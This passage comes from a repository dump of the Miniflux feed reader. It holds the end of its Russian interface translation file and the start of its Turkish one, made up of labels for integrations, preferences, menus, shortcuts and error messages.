Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden Collection ID\",\n    \"form.integration.matrix_bot_activate\": \"Отправлять статьи в Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"ID комнаты Matrix\",\n    \"form.integration.matrix_bot_password\": \"Пароль пользователя Matrix\",\n    \"form.integration.matrix_bot_url\": \"Ссылка на сервер Matrix\",\n    \"form.integration.matrix_bot_user\": \"Имя пользователя Matrix\",\n    \"form.integration.notion_activate\": \"Сохранить статьи в Notion\",\n    \"form.integration.notion_page_id\": \"Идентификатор страницы Notion\",\n    \"form.integration.notion_token\": \"Секретный токен Notion\",\n    \"form.integration.ntfy_activate\": \"Отправлять статьи в ntfy\",\n    \"form.integration.ntfy_api_token\": \"API-токен ntfy (опционально)\",\n    \"form.integration.ntfy_icon_url\": \"URL иконки ntfy (опционально)\",\n    \"form.integration.ntfy_internal_links\": \"Использовать внутренние ссылки по клику (опционально)\",\n    \"form.integration.ntfy_password\": \"Пароль ntfy (опционально)\",\n    \"form.integration.ntfy_topic\": \"Тема ntfy (по умолчанию, если не задана в подписке)\",\n    \"form.integration.ntfy_url\": \"URL ntfy (опционально, по умолчанию ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Имя пользователя ntfy (опционально)\",\n    \"form.integration.nunux_keeper_activate\": \"Сохранять статьи в Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"API-ключ Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Конечная точка Nunux Keeper API\",\n    \"form.integration.omnivore_activate\": \"Сохранять статьи в Omnivore\",\n    \"form.integration.omnivore_api_key\": \"API-ключ Omnivore\",\n    \"form.integration.omnivore_url\": \"Конечная точка Omnivore API\",\n    \"form.integration.pinboard_activate\": \"Сохранять статьи в Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Помечать закладки как непрочитанное\",\n    \"form.integration.pinboard_tags\": \"Теги Pinboard\",\n    \"form.integration.pinboard_token\": \"Токен Pinboard API\",\n    \"form.integration.pushover_activate\": \"Отправлять статьи Pushover\",\n    \"form.integration.pushover_device\": \"Устройство Pushover (опционально)\",\n    \"form.integration.pushover_prefix\": \"URL-префикс Pushover (опционально)\",\n    \"form.integration.pushover_token\": \"API-токен приложения Pushover\",\n    \"form.integration.pushover_user\": \"Пользовательский ключ Pushover\",\n    \"form.integration.raindrop_activate\": \"Сохранять статьи в Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"ID коллекции\",\n    \"form.integration.raindrop_tags\": \"Теги (через запятую)\",\n    \"form.integration.raindrop_token\": \"Токен (тестовый)\",\n    \"form.integration.readeck_activate\": \"Сохранять статьи в Readeck\",\n    \"form.integration.readeck_api_key\": \"API-ключ Readeck\",\n    \"form.integration.readeck_endpoint\": \"Конечная точка Readeck API\",\n    \"form.integration.readeck_labels\": \"Теги Readeck\",\n    \"form.integration.readeck_only_url\": \"Отправлять только ссылку (без содержимого)\",\n    \"form.integration.readeck_push_activate\": \"Автоматически отправлять новые статьи в Readeck\",\n    \"form.integration.readwise_activate\": \"Сохранить статьи в Readwise\",\n    \"form.integration.readwise_api_key\": \"Токен доступа в Readwise\",\n    \"form.integration.readwise_api_key_link\": \"Получить токен доступа Readwise\",\n    \"form.integration.rssbridge_activate\": \"Проверять RSS-Bridge при добавлении подписок\",\n    \"form.integration.rssbridge_token\": \"Токен аутентификации RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"URL сервера RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Сохранить статьи в Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Секретный ключ Shaarli API\",\n    \"form.integration.shaarli_endpoint\": \"Ссылка Shaarli\",\n    \"form.integration.shiori_activate\": \"Сохранять статьи в Shiori\",\n    \"form.integration.shiori_endpoint\": \"Конечная точка Shiori API\",\n    \"form.integration.shiori_password\": \"Пароль Shiori\",\n    \"form.integration.shiori_username\": \"Имя пользователя Shiori\",\n    \"form.integration.slack_activate\": \"Отправить статьи в Slack\",\n    \"form.integration.slack_webhook_link\": \"Ссылка на Slack Webhook\",\n    \"form.integration.telegram_bot_activate\": \"Отправлять статьи в Telegram-чат\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Отключить кнопки\",\n    \"form.integration.telegram_bot_disable_notification\": \"Отключить уведомления\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Отключить предпросмотр веб-страниц\",\n    \"form.integration.telegram_bot_token\": \"Токен бота\",\n    \"form.integration.telegram_chat_id\": \"ID чата\",\n    \"form.integration.telegram_topic_id\": \"ID топика\",\n    \"form.integration.wallabag_activate\": \"Сохранять статьи в Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Номер клиента Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Секретный код клиента Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"URL-адрес базы Валлабаг\",\n    \"form.integration.wallabag_tags\": \"Теги Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Отправлять только ссылку (без содержимого)\",\n    \"form.integration.wallabag_password\": \"Пароль Wallabag\",\n    \"form.integration.wallabag_username\": \"Имя пользователя Wallabag\",\n    \"form.integration.webhook_activate\": \"Включить вебхуки\",\n    \"form.integration.webhook_secret\": \"Секретный ключ для вебхуков\",\n    \"form.integration.webhook_url\": \"Адрес вебхуков\",\n    \"form.prefs.fieldset.application_settings\": \"Настройки приложения\",\n    \"form.prefs.fieldset.authentication_settings\": \"Настройки аутентификации\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Глобальные настройки подписок\",\n    \"form.prefs.fieldset.reader_settings\": \"Настройки чтения\",\n    \"form.prefs.help.external_font_hosts\": \"Список разрешённых внешних хостов для шрифтов, разделенных пробелами. Например: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Читать статьи, открывая внешние ссылки\",\n    \"form.prefs.label.categories_sorting_order\": \"Сортировка категорий\",\n    \"form.prefs.label.cjk_reading_speed\": \"Скорость чтения на китайском, корейском и японском языках (знаков в минуту)\",\n    \"form.prefs.label.custom_css\": \"Пользовательский CSS\",\n    \"form.prefs.label.custom_js\": \"Пользовательский JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Домашняя страница по умолчанию\",\n    \"form.prefs.label.default_reading_speed\": \"Скорость чтения на других языках (слов в минуту)\",\n    \"form.prefs.label.display_mode\": \"Режим отображения Progressive Web App (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Количество статей на страницу\",\n    \"form.prefs.label.entry_order\": \"Столбец сортировки статей\",\n    \"form.prefs.label.entry_sorting\": \"Сортировка статей\",\n    \"form.prefs.label.entry_swipe\": \"Включить пролистывание свайпом на сенсорных экранах\",\n    \"form.prefs.label.external_font_hosts\": \"Внешние хосты шрифтов\",\n    \"form.prefs.label.gesture_nav\": \"Жест для перехода между статьями\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Включить горячие клавиши\",\n    \"form.prefs.label.language\": \"Язык\",\n    \"form.prefs.label.mark_read_manually\": \"Отмечать статьи как прочитанные вручную\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Отмечать как прочитанное только когда воспроизведение аудио/видео достигает 90%% завершения\",\n    \"form.prefs.label.mark_read_on_view\": \"Автоматически отмечать записи как прочитанные при просмотре\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Отмечать статьи как прочитанные при просмотре. Для аудио/видео - при 90%% завершения воспроизведения\",\n    \"form.prefs.label.media_playback_rate\": \"Скорость воспроизведения аудио/видео\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Открывать внешние ссылки в новой вкладке (добавляет target=\\\"_blank\\\" к ссылкам)\",\n    \"form.prefs.label.show_reading_time\": \"Показать примерное время чтения статей\",\n    \"form.prefs.label.theme\": \"Тема\",\n    \"form.prefs.label.timezone\": \"Часовой пояс\",\n    \"form.prefs.select.alphabetical\": \"В алфавитном порядке\",\n    \"form.prefs.select.browser\": \"Браузер\",\n    \"form.prefs.select.created_time\": \"Время создания статьи\",\n    \"form.prefs.select.fullscreen\": \"Полноэкранный\",\n    \"form.prefs.select.minimal_ui\": \"Минимальный\",\n    \"form.prefs.select.none\": \"Отключить\",\n    \"form.prefs.select.older_first\": \"Сначала старые записи\",\n    \"form.prefs.select.publish_time\": \"Время публикации статьи\",\n    \"form.prefs.select.recent_first\": \"Сначала новые записи\",\n    \"form.prefs.select.standalone\": \"Автономный\",\n    \"form.prefs.select.swipe\": \"Свайп\",\n    \"form.prefs.select.tap\": \"Двойное нажатие\",\n    \"form.prefs.select.unread_count\": \"Количество непрочитанных\",\n    \"form.submit.loading\": \"Загрузка…\",\n    \"form.submit.saving\": \"Сохранение…\",\n    \"form.user.label.admin\": \"Администратор\",\n    \"form.user.label.confirmation\": \"Подтверждение пароля\",\n    \"form.user.label.password\": \"Пароль\",\n    \"form.user.label.username\": \"Имя пользователя\",\n    \"menu.about\": \"О приложении\",\n    \"menu.add_feed\": \"Добавить подписку\",\n    \"menu.add_user\": \"Добавить пользователя\",\n    \"menu.api_keys\": \"API-ключи\",\n    \"menu.categories\": \"Категории\",\n    \"menu.create_api_key\": \"Создать новый API-ключ\",\n    \"menu.create_category\": \"Создать категорию\",\n    \"menu.edit_category\": \"Изменить\",\n    \"menu.edit_feed\": \"Изменить\",\n    \"menu.export\": \"Экспорт\",\n    \"menu.feed_entries\": \"Статьи\",\n    \"menu.feeds\": \"Подписки\",\n    \"menu.flush_history\": \"Очистить историю\",\n    \"menu.history\": \"История\",\n    \"menu.home_page\": \"Главная\",\n    \"menu.import\": \"Импорт\",\n    \"menu.integrations\": \"Интеграции\",\n    \"menu.logout\": \"Выйти\",\n    \"menu.mark_all_as_read\": \"Отметить всё как прочитанное\",\n    \"menu.mark_page_as_read\": \"Отметить эту страницу прочитанной\",\n    \"menu.preferences\": \"Предпочтения\",\n    \"menu.refresh_all_feeds\": \"Обновить все подписки в фоне\",\n    \"menu.refresh_feed\": \"Обновить\",\n    \"menu.search\": \"Поиск\",\n    \"menu.sessions\": \"Сессии\",\n    \"menu.settings\": \"Настройки\",\n    \"menu.shared_entries\": \"Общие записи\",\n    \"menu.show_all_entries\": \"Показать все статьи\",\n    \"menu.show_only_starred_entries\": \"Показывать только избранные статьи\",\n    \"menu.show_only_unread_entries\": \"Показывать только непрочитанные статьи\",\n    \"menu.starred\": \"Избранное\",\n    \"menu.title\": \"Меню\",\n    \"menu.unread\": \"Непрочитанное\",\n    \"menu.users\": \"Пользователи\",\n    \"page.about.author\": \"Автор:\",\n    \"page.about.build_date\": \"Дата сборки:\",\n    \"page.about.credits\": \"Авторы\",\n    \"page.about.db_usage\": \"Размер базы данных:\",\n    \"page.about.git_commit\": \"Git-коммит:\",\n    \"page.about.global_config_options\": \"Глобальные параметры конфигурации\",\n    \"page.about.go_version\": \"Версия Go:\",\n    \"page.about.license\": \"Лицензия:\",\n    \"page.about.postgres_version\": \"Версия PostgreSQL:\",\n    \"page.about.title\": \"О приложении\",\n    \"page.about.version\": \"Версия:\",\n    \"page.add_feed.choose_feed\": \"Выберите подписку\",\n    \"page.add_feed.label.url\": \"Ссылка\",\n    \"page.add_feed.legend.advanced_options\": \"Расширенные настройки\",\n    \"page.add_feed.no_category\": \"Категории отсутствуют. У вас должна быть хотя бы одна категория.\",\n    \"page.add_feed.submit\": \"Найти подписку\",\n    \"page.add_feed.title\": \"Новая подписка\",\n    \"page.api_keys.never_used\": \"Никогда не использовался\",\n    \"page.api_keys.table.actions\": \"Действия\",\n    \"page.api_keys.table.created_at\": \"Дата создания\",\n    \"page.api_keys.table.description\": \"Описание\",\n    \"page.api_keys.table.last_used_at\": \"Последнее использование\",\n    \"page.api_keys.table.token\": \"Токен\",\n    \"page.api_keys.title\": \"API-ключи\",\n    \"page.categories.entries\": \"Статьи\",\n    \"page.categories.feed_count\": [\n        \"Есть %d подписка.\",\n        \"Есть %d подписки.\",\n        \"Есть %d подписок.\"\n    ],\n    \"page.categories.feeds\": \"Подписки\",\n    \"page.categories.no_feed\": \"Нет подписок.\",\n    \"page.categories.title\": \"Категории\",\n    \"page.categories_count\": [\n        \"%d категория\",\n        \"%d категории\",\n        \"%d категорий\"\n    ],\n    \"page.category_label\": \"Категории: %s\",\n    \"page.edit_category.title\": \"Изменить категорию: %s\",\n    \"page.edit_feed.etag_header\": \"Заголовок ETag:\",\n    \"page.edit_feed.last_check\": \"Последняя проверка:\",\n    \"page.edit_feed.last_modified_header\": \"Заголовок LastModified:\",\n    \"page.edit_feed.last_parsing_error\": \"Последняя ошибка парсинга\",\n    \"page.edit_feed.no_header\": \"Отсутствует\",\n    \"page.edit_feed.title\": \"Изменить подписку: %s\",\n    \"page.edit_user.title\": \"Изменить пользователя: %s\",\n    \"page.entry.attachments\": \"Вложения\",\n    \"page.feeds.error_count\": [\n        \"%d ошибка\",\n        \"%d ошибки\",\n        \"%d ошибок\"\n    ],\n    \"page.feeds.last_check\": \"Последнее обновление:\",\n    \"page.feeds.next_check\": \"Следующее обновление:\",\n    \"page.feeds.read_counter\": \"Количество прочитанных статей\",\n    \"page.feeds.title\": \"Подписки\",\n    \"page.footer.elevator\": \"Вернуться наверх\",\n    \"page.history.title\": \"История\",\n    \"page.import.title\": \"Импорт\",\n    \"page.integration.bookmarklet\": \"Букмарклет\",\n    \"page.integration.bookmarklet.help\": \"Эта специальная ссылка позволит вам подписаться на сайт, используя обыкновенную закладку в вашем браузере.\",\n    \"page.integration.bookmarklet.instructions\": \"Перетащите эту ссылку в ваши закладки.\",\n    \"page.integration.bookmarklet.name\": \"Добавить в Miniflux\",\n    \"page.integration.miniflux_api\": \"API Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Конечная точка API\",\n    \"page.integration.miniflux_api_password\": \"Пароль\",\n    \"page.integration.miniflux_api_password_value\": \"Пароль вашего аккаунта\",\n    \"page.integration.miniflux_api_username\": \"Имя пользователя\",\n    \"page.integrations.title\": \"Интеграции\",\n    \"page.keyboard_shortcuts.close_modal\": \"Закрыть модальный диалог\",\n    \"page.keyboard_shortcuts.download_content\": \"Загрузить оригинальное содержимое\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Перейти к нижнему элементу\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Перейти к Категориям\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Перейти к подписке\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Перейти к Подпискам\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Перейти к Истории\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Перейти к следующему элементу\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Перейти к следующей странице\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Перейти к предыдущему элементу\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Перейти к предыдущей странице\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Установить фокус в поисковой форме\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Перейти к Настройкам\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Перейти к Избранному\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Перейти к верхнему элементу\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Перейти к Непрочитанным\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Отметить текущую страницу прочитанной\",\n    \"page.keyboard_shortcuts.open_comments\": \"Открыть ссылку для комментариев\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Открыть ссылку на комментарии в текущей вкладке\",\n    \"page.keyboard_shortcuts.open_item\": \"Открыть выбранный элемент\",\n    \"page.keyboard_shortcuts.open_original\": \"Открыть оригинальную ссылку\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Открыть оригинальную ссылку в текущей вкладке\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Обновить все подписки в фоне\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Удалить эту подписку\",\n    \"page.keyboard_shortcuts.save_article\": \"Сохранить статью\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Прокрутите элемент вверх\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Показать сочетания клавиш\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Действия\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Навигация по элементам\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Навигация по страницам\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Навигация по секциям\",\n    \"page.keyboard_shortcuts.title\": \"Горячие клавиши\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Переключатель избранного\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Переключатель показать/скрыть вложения\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Переключатель прочитанного, сосредоточиться на следующем\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Переключатель прочитанного, фокус предыдущий\",\n    \"page.login.google_signin\": \"Войти с помощью Google\",\n    \"page.login.oidc_signin\": \"Войти с помощью %s\",\n    \"page.login.title\": \"Войти\",\n    \"page.login.webauthn_login\": \"Войти с паролем\",\n    \"page.login.webauthn_login.error\": \"Невозможно войти с паролем\",\n    \"page.login.webauthn_login.help\": \"Пожалуйста, введите имя пользователя, если вы используете ключ безопасности. Это не требуется при использовании Passkey (обнаруживаемые учетные данные).\",\n    \"page.new_api_key.title\": \"Новый API-ключ\",\n    \"page.new_category.title\": \"Новая категория\",\n    \"page.new_user.title\": \"Новый пользователь\",\n    \"page.offline.message\": \"Нет соединения\",\n    \"page.offline.refresh_page\": \"Попробуйте обновить страницу\",\n    \"page.offline.title\": \"Автономный режим\",\n    \"page.read_entry_count\": [\n        \"%d прочитанная статья\",\n        \"%d прочитанных статьи\",\n        \"%d прочитанных статей\"\n    ],\n    \"page.search.title\": \"Результаты поиска\",\n    \"page.sessions.table.actions\": \"Действия\",\n    \"page.sessions.table.current_session\": \"Текущая сессия\",\n    \"page.sessions.table.date\": \"Время\",\n    \"page.sessions.table.ip\": \"IP адрес\",\n    \"page.sessions.table.user_agent\": \"User-Agent\",\n    \"page.sessions.title\": \"Сессии\",\n    \"page.settings.link_google_account\": \"Привязать мой Google аккаунт\",\n    \"page.settings.link_oidc_account\": \"Привязать мой %s аккаунт\",\n    \"page.settings.title\": \"Настройки\",\n    \"page.settings.unlink_google_account\": \"Отвязать мой Google аккаунт\",\n    \"page.settings.unlink_oidc_account\": \"Отвязать мой %s аккаунт\",\n    \"page.settings.webauthn.actions\": \"Действия\",\n    \"page.settings.webauthn.added_on\": \"Добавлен\",\n    \"page.settings.webauthn.delete\": [\n        \"Удалить %d пароль\",\n        \"Удалить %d пароля\",\n        \"Удалить %d пароля\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Последнее использование\",\n    \"page.settings.webauthn.passkey_name\": \"Название ключа доступа\",\n    \"page.settings.webauthn.passkeys\": \"Ключи доступа\",\n    \"page.settings.webauthn.register\": \"Зарегистрировать пароль\",\n    \"page.settings.webauthn.register.error\": \"Не удается зарегистрировать пароль\",\n    \"page.shared_entries.title\": \"Общедоступные статьи\",\n    \"page.shared_entries_count\": [\n        \"%d общедоступная статья\",\n        \"%d общедоступных статьи\",\n        \"%d общедоступных статей\"\n    ],\n    \"page.starred.title\": \"Избранное\",\n    \"page.starred_entry_count\": [\n        \"%d избранная статья\",\n        \"%d избранные статьи\",\n        \"%d избранных статей\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d статья всего\",\n        \"%d статьи всего\",\n        \"%d статей всего\"\n    ],\n    \"page.unread.title\": \"Непрочитанное\",\n    \"page.unread_entry_count\": [\n        \"%d непрочитанная статья\",\n        \"%d непрочитанных статьи\",\n        \"%d непрочитанных статей\"\n    ],\n    \"page.users.actions\": \"Действия\",\n    \"page.users.admin.no\": \"Нет\",\n    \"page.users.admin.yes\": \"Да\",\n    \"page.users.is_admin\": \"Администратор\",\n    \"page.users.last_login\": \"Последний вход\",\n    \"page.users.never_logged\": \"Никогда\",\n    \"page.users.title\": \"Пользователи\",\n    \"page.users.username\": \"Имя пользователя\",\n    \"page.webauthn_rename.title\": \"Переименовать ключ доступа\",\n    \"pagination.first\": \"Первая\",\n    \"pagination.last\": \"Последняя\",\n    \"pagination.next\": \"Следующая\",\n    \"pagination.previous\": \"Предыдущая\",\n    \"search.label\": \"Поиск\",\n    \"search.placeholder\": \"Поиск…\",\n    \"search.submit\": \"Искать\",\n    \"skip_to_content\": \"Перейти к содержимому\",\n    \"time_elapsed.days\": [\n        \"%d день назад\",\n        \"%d дня назад\",\n        \"%d дней назад\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d час назад\",\n        \"%d часа назад\",\n        \"%d часов назад\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d минуту назад\",\n        \"%d минуты назад\",\n        \"%d минут назад\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d месяц назад\",\n        \"%d месяца назад\",\n        \"%d месяцев назад\"\n    ],\n    \"time_elapsed.not_yet\": \"ещё нет\",\n    \"time_elapsed.now\": \"только что\",\n    \"time_elapsed.weeks\": [\n        \"%d неделю назад\",\n        \"%d недели назад\",\n        \"%d недель назад\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d год назад\",\n        \"%d года назад\",\n        \"%d лет назад\"\n    ],\n    \"time_elapsed.yesterday\": \"вчера\",\n    \"tooltip.keyboard_shortcuts\": \"Сочетания клавиш: %s\",\n    \"tooltip.logged_user\": \"Авторизован как %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/tr_TR.json",
    "content": "{\n    \"action.cancel\": \"iptal\",\n    \"action.download\": \"İndir\",\n    \"action.edit\": \"Düzenle\",\n    \"action.home_screen\": \"Ana ekrana ekle\",\n    \"action.import\": \"İçeri Aktar\",\n    \"action.login\": \"Giriş\",\n    \"action.or\": \"veya\",\n    \"action.remove\": \"Kaldır\",\n    \"action.remove_feed\": \"Bu beslemeyi kaldır\",\n    \"action.save\": \"Kaydet\",\n    \"action.subscribe\": \"Abone Ol\",\n    \"action.update\": \"Güncelle\",\n    \"alert.account_linked\": \"Harici hesabınız bağlandı!\",\n    \"alert.account_unlinked\": \"Harici hesabınızın bağlantısı kaldırıldı!\",\n    \"alert.background_feed_refresh\": \"Tüm beslemeler arkaplanda yenileniyor. Bu süreç devam ederken Miniflux'ı kullanmaya devam edebilirsiniz.\",\n    \"alert.feed_error\": \"Bu beslemeyle ilgili bir problem var\",\n    \"alert.no_starred\": \"Yıldızlanmış makale yok.\",\n    \"alert.no_category\": \"Hiç kategori yok.\",\n    \"alert.no_category_entry\": \"Bu kategoride hiç makele yok.\",\n    \"alert.no_feed\": \"Hiç beslemeniz yok.\",\n    \"alert.no_feed_entry\": \"Bu besleme için makele yok.\",\n    \"alert.no_feed_in_category\": \"Bu kategori için besleme yok.\",\n    \"alert.no_history\": \"Şu anda hiç geçmiş yok.\",\n    \"alert.no_search_result\": \"Bu arama için sonuç yok\",\n    \"alert.no_shared_entry\": \"Paylaşılan bir makele yok.\",\n    \"alert.no_tag_entry\": \"Bu etiketle eşleşen hiçbir giriş yok.\",\n    \"alert.no_unread_entry\": \"Okunmamış makele yok\",\n    \"alert.no_user\": \"Tek kullanıcı sizsiniz\",\n    \"alert.prefs_saved\": \"Tercihler kaydedildi!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Çok fazla besleme yenilemesi başlattınız. Tekrar denemeden önce lütfen %d dakika bekleyin.\",\n        \"Çok fazla besleme yenilemesi başlattınız. Tekrar denemeden önce lütfen %d dakika bekleyin.\"\n    ],\n    \"confirm.loading\": \"Devam ediyor...\",\n    \"confirm.no\": \"hayır\",\n    \"confirm.question\": \"Emin misiniz?\",\n    \"confirm.question.refresh\": \"Zorla yenilemek istiyor musunuz?\",\n    \"confirm.yes\": \"evet\",\n    \"enclosure_media_controls.seek\": \"Sar:\",\n    \"enclosure_media_controls.seek.title\": \"%s saniye sar\",\n    \"enclosure_media_controls.speed\": \"Hız:\",\n    \"enclosure_media_controls.speed.faster\": \"Daha hızlı\",\n    \"enclosure_media_controls.speed.faster.title\": \"%sx kat daha hızlı\",\n    \"enclosure_media_controls.speed.reset\": \"Sıfırla\",\n    \"enclosure_media_controls.speed.reset.title\": \"Hızı 1x'e sıfırla\",\n    \"enclosure_media_controls.speed.slower\": \"Daha yavaş\",\n    \"enclosure_media_controls.speed.slower.title\": \"%sx kat daha yavaş\",\n    \"entry.starred.toast.off\": \"Yıldızsız\",\n    \"entry.starred.toast.on\": \"Yıldızlı\",\n    \"entry.starred.toggle.off\": \"Yıldızı kaldır\",\n    \"entry.starred.toggle.on\": \"Yıldız ekle\",\n    \"entry.comments.label\": \"Yorumlar\",\n    \"entry.comments.title\": \"Yorumları Göster\",\n    \"entry.estimated_reading_time\": [\n        \"%d dakika okuma süresi\",\n        \"%d dakika okuma süresi\"\n    ],\n    \"entry.external_link.label\": \"Dış bağlantı\",\n    \"entry.save.completed\": \"Tamamlandı!\",\n    \"entry.save.label\": \"Kaydet\",\n    \"entry.save.title\": \"Bu makeleyi kaydet\",\n    \"entry.save.toast.completed\": \"Makele kaydedildi\",\n    \"entry.scraper.completed\": \"Tamamlandı!\",\n    \"entry.scraper.label\": \"İndir\",\n    \"entry.scraper.title\": \"Orijinal içeriği çek\",\n    \"entry.share.label\": \"Paylaş\",\n    \"entry.share.title\": \"Bu makeleyi paylaş\",\n    \"entry.shared_entry.label\": \"Paylaş\",\n    \"entry.shared_entry.title\": \"Herkese açık bağlantıyı aç\",\n    \"entry.state.loading\": \"Yükleniyor...\",\n    \"entry.state.saving\": \"Kaydediliyor...\",\n    \"entry.status.mark_as_read\": \"Okundu olarak işaretle\",\n    \"entry.status.mark_as_unread\": \"Okunmadı olarak işaretle\",\n    \"entry.status.title\": \"Makele okundu durumunu değiştir\",\n    \"entry.status.toast.read\": \"Okundu olarak işaretlendi\",\n    \"entry.status.toast.unread\": \"Okunmamış olarak işaretlendi\",\n    \"entry.tags.label\": \"Etiketler:\",\n    \"entry.tags.more_tags_label\": [\n        \"%d tane daha etiket göster\",\n        \"%d tane daha etiket göster\"\n    ],\n    \"entry.unshare.label\": \"Paylaşma\",\n    \"error.api_key_already_exists\": \"Bu API anahtarı zaten mevcut.\",\n    \"error.bad_credentials\": \"Geçersiz kullanıcı veya parola.\",\n    \"error.category_already_exists\": \"Bu kategori zaten mevcut.\",\n    \"error.category_not_found\": \"Bu kategori mevcut değil ya da bu kullanıcıya ait değil.\",\n    \"error.database_error\": \"Veritabanı hatası: %v.\",\n    \"error.different_passwords\": \"Parolalar eşleşmiyor.\",\n    \"error.duplicate_fever_username\": \"Aynı Fever kullanıcı adına sahip başka biri zaten var!\",\n    \"error.duplicate_googlereader_username\": \"Aynı Google Reader kullanıcı adına sahip başka biri zaten var!\",\n    \"error.duplicate_linked_account\": \"Bu sağlayıcıyla ilişkilendirilmiş biri zaten var!\",\n    \"error.duplicated_feed\": \"Bu makele zaten var.\",\n    \"error.empty_file\": \"Bu dosya boş.\",\n    \"error.entries_per_page_invalid\": \"Sayfa başına makele sayısı geçersiz.\",\n    \"error.feed_already_exists\": \"Bu besleme zaten mevcut.\",\n    \"error.feed_category_not_found\": \"Bu kategori mevcut değil ya da bu kullanıcıya ait değil.\",\n    \"error.feed_format_not_detected\": \"Besleme formatı algılanamadı: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Engelleme listesi kuralı geçersiz.\",\n    \"error.feed_invalid_keeplist_rule\": \"Saklama listesi kuralı geçersiz.\",\n    \"error.feed_mandatory_fields\": \"URL ve kategori zorunlu.\",\n    \"error.feed_not_found\": \"Bu makele mevcut değil ya da bu kullanıcıya ait değil.\",\n    \"error.feed_title_not_empty\": \"Besleme başlığı boş olamaz.\",\n    \"error.feed_url_not_empty\": \"Besleme URL'si boş olamaz.\",\n    \"error.fields_mandatory\": \"Tüm alanlar zorunlu.\",\n    \"error.http_bad_gateway\": \"Kötü ağ geçidi hatası nedeniyle bu website şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.\",\n    \"error.http_body_read\": \"HTTP gövdesi okunamıyor: %v.\",\n    \"error.http_client_error\": \"HTTP istemci hatası: %v.\",\n    \"error.http_empty_response\": \"HTTP yanıtı boş. Belki bu web sitesi bir bot koruma mekanizması kullanıyordur?\",\n    \"error.http_empty_response_body\": \"HTTP yanıt gövdesi boş.\",\n    \"error.http_forbidden\": \"Bu siteye erişim yasak. Belki bu web sitesinin bir bot koruma mekanizması vardır?\",\n    \"error.http_gateway_timeout\": \"Ağ geçidi zaman aşımı hatası nedeniyle bu websitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.\",\n    \"error.http_internal_server_error\": \"Sunucu hatası nedeniyle bu websitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.\",\n    \"error.http_not_authorized\": \"Bu web sitesine erişim izni verilmemektedir. Kötü bir kullanıcı adı veya şifreden kaynaklanıyor olabilir.\",\n    \"error.http_resource_not_found\": \"İstenilen kaynak bulunamadı. Lütfen URL'yi doğrulayın.\",\n    \"error.http_response_too_large\": \"HTTP yanıtı çok büyük. Genel ayarlardan HTTP yanıt boyutu sınırını artırabilirsiniz (sunucunun yeniden başlatılmasını gerektirir).\",\n    \"error.http_service_unavailable\": \"Dahili sunucu hatası nedeniyle web sitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.\",\n    \"error.http_too_many_requests\": \"Miniflux bu web sitesine çok fazla istek oluşturdu. Lütfen daha sonra 